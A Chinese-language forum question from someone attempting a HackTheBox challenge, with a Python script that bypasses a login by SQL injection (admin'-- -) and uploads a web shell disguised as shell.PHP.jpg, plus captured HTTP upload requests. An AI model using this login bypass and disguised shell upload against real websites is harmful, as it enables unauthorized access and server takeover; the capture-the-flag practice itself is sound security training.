问题描述
我正在 hacktheBox 上进行黑客挑战,并尝试将图片上传到网页。
首先我使用 sql 注入登录,然后我尝试上传图片,但上传失败。
代码:
#!/bin/python3
import requests
url = "http://hidden/"
headers = { "Content-type": "application/x-www-form-urlencoded" }
data = {"username": "admin'-- -","password": ""}
proxies = { "http": "http://127.0.0.1:8080/" }
s = requests.Session()
response = s.post(url+"login.PHP",data=data,proxies=proxies)
print("Logging in...")
print(response.status_code)
payload = "shell.PHP.jpg"
files = {"image": open(payload,"rb"),"Content-Type": "image/jpeg"}
headers = { "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Referer": "http://hidden/upload.PHP","Origin": "http://hidden","User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0","Accept-Language": "en-US,en;q=0.5","Upgrade-Insecure-Requests": "1" }
print("uploading file")
response = s.post(url+"upload.PHP",files=files,headers=headers,proxies=proxies)
print(response.status_code)
以下是手动上传:
POST /upload.PHP HTTP/1.1
Host: hidden
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip,deflate
Content-Type: multipart/form-data; boundary=---------------------------129246730034514562622540517407
Content-Length: 540471
Origin: http://hidden
Connection: close
Referer: http://hidden/upload.PHP
Cookie: PHPSESSID=41tqjv7i9fraprka710hsu5aku
Upgrade-Insecure-Requests: 1
-----------------------------129246730034514562622540517407
Content-disposition: form-data; name="image"; filename="shell06.PHP.jpg"
Content-Type: image/jpeg
运行代码时收到的请求:
POST /upload.PHP HTTP/1.1
Host: hidden
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept-Encoding: gzip,deflate
Accept: text/html,*/*;q=0.8
Connection: close
Referer: http://hidden/upload.PHP
Origin: http://hidden
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Cookie: PHPSESSID=kb1dumfpckhrl6blrugk5quk7i
Content-Length: 540266
Content-Type: multipart/form-data; boundary=a661af8f8072064cd000a17d729feff6
--a661af8f8072064cd000a17d729feff6
Content-disposition: form-data; name="image"; filename="shell.PHP.jpg"
唯一不同的是:
- 边界=...
- “Content-disposition”下方的“Content-Type: image/jpeg”
有人看到我做错了什么吗?
解决方法
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